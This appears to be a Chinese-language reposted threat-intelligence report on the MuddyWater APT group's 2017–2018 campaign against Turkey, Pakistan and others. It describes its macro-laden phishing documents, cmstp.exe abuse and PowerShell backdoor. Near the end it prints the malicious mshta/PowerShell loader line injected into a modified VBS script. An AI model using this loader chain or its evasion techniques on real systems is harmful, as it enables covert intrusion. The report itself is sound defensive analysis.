安全路透社
当前位置:安全路透社 > 网络转载 > 正文

近期“污水”(MuddyWater)APT组织攻击活动汇总

1.背景

根据腾讯反病毒实验室的安全大数据显示,自2017年11月以来,国外APT组织“污水”(MuddyWater、T-APT-14)发起了新的一轮网络攻击活动,此轮攻击活动的攻击目标扩展到塔吉克斯坦、巴基斯坦、土耳其等国,在这轮攻击活动中该APT组织对土耳其表现出强烈的关注。本文将结合腾讯反病毒实验室捕获的攻击样本对此轮攻击活动进行分析。

1.1 “污水”(MuddyWater)介绍

“污水”(MuddyWater、T-APT-14) APT组织从2017年开始一直活跃,该APT组织主要针对中东国家。该APT组织显著的攻击行为特点为善于利用powershell等脚本后门,通过Powershell在内存中执行,减少新的PE文件在受害者机器落地,这种方式使的该组织的样本有着较低的检测率,另一方面也加大了安全机构的取证难度。MuddyWater多以间谍活动的动机。此前的主要受害者分布在巴基斯坦,沙特阿拉伯,阿联酋和伊拉克等也是该组织的攻击目标。从受害者所在的行业特征看,政府,电信公司和石油公司是该组织的主要目标。通过追踪该APT的行动,怀疑该APT可能来自于伊朗。

1.2 此轮攻击中的一些特点

该轮攻击与以往的攻击相比,有着下面的相同点:

攻击目标相似。此次攻击的攻击目标为巴基斯坦和土耳其等国,以往该组织对这些国家发起过攻击活动,只不过该轮攻击中更加侧重于土耳其的政府机构。

钓鱼文档结构类似。在历次的攻击过程中,该组织的钓鱼文档中经常带有输入框和按钮控件。从钓鱼文档的元属性上看,文档版本多为983040和1048576这两个版本。

使用的技术相通。该组织以往就习惯以js,powershell做为后门工具。此次攻击使用了powershell做为后门程序,全程没有PE文件参与。Powershell后门的结构与以往类似。

使用的CC地址结构相似。此次的样本中会依次尝试与517个地址进行尝试通信,以往该组织的样本也会与数十数百的地址尝试通信确定真正的CC。此外,该次攻击在代码层面上,与以往的攻击相比,也有着一些不同之处:

此次使用的powershell后门中,后门的出错处理中包含“无法访问本地计算机寄存器”,“任务计划程序访问被拒绝”,“无法连接到网址,请等待龙…”等,注意这里“请等待龙”这句语法不通的中文,极有可能是攻击者通过谷歌等翻译而来,攻击者故意将该中文留在代码中,以混淆安全人员对攻击的溯源。这极有可能是该APT组织为了混淆安全人员采用的假旗行动。

1.3  近期活动时间线

此轮的攻击活动从时间上看,起始于2017年11月。从钓鱼文档的元属性上看,文档版本多为983040和1048576。一些钓鱼文档作者属性为“GIGABYTE”,这波攻击涉及的行业主要包括银行部门、电信部门及政府部分(包括外交部、发展委员会、内政部等)。根据近期攻击活动绘制的攻击时间轴如下:

1.png

2. 攻击过程及特点

MuddyWater的攻击过程主要分为下面两种:

1. 使用精心构造的钓鱼文档,诱使目标人员打开文档并启用文档宏,文档中的恶意宏执行后,向文件系统写入vbs脚本及编码过的powershell文件,随后加载vbs脚本,vbs脚本运行后解码powershell后门执行,与CC进行通信

2. 使用精心构造的钓鱼文档,诱使目标人员打开文档并启用文档宏,文档中的恶意宏执行后,向文件系统写入sct脚本,inf文件及ini文件(ini文件为编码过的powershell内容),随后使用系统程序cmstp.exe加载inf执行,inf会加载sct中的javascript代码,最终解码powershell后门执行,与CC进行通信。部分钓鱼文档显示内容如下:

2.png

4.png

5.png

钓鱼文档中嵌入了恶意宏代码,对宏的调试过程如下图所示

6.png

宏代码会释放InstallConfNT.vbs和ProjectConfManagerNT.ini到C:\ProgramData\ZIPSDK目录下。其中的InstallConfNT.vbs文件由微软的测试打印脚本修改而来,在InstallConfNT.vbs文件的第991行代码处,加入了恶意的eval函数

7.png

第991行的要执行的内容为:

WScript.CreateObject("WScript.Shell").Run"mshtavbscript:Close(Execute(""CreateObject(""""WScript.Shell"""").Run""""powershell.exe-w
 1 -exec Bypass -nologo -noprofile -c 
iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-contentC:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini))));"""",0""))",0
赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册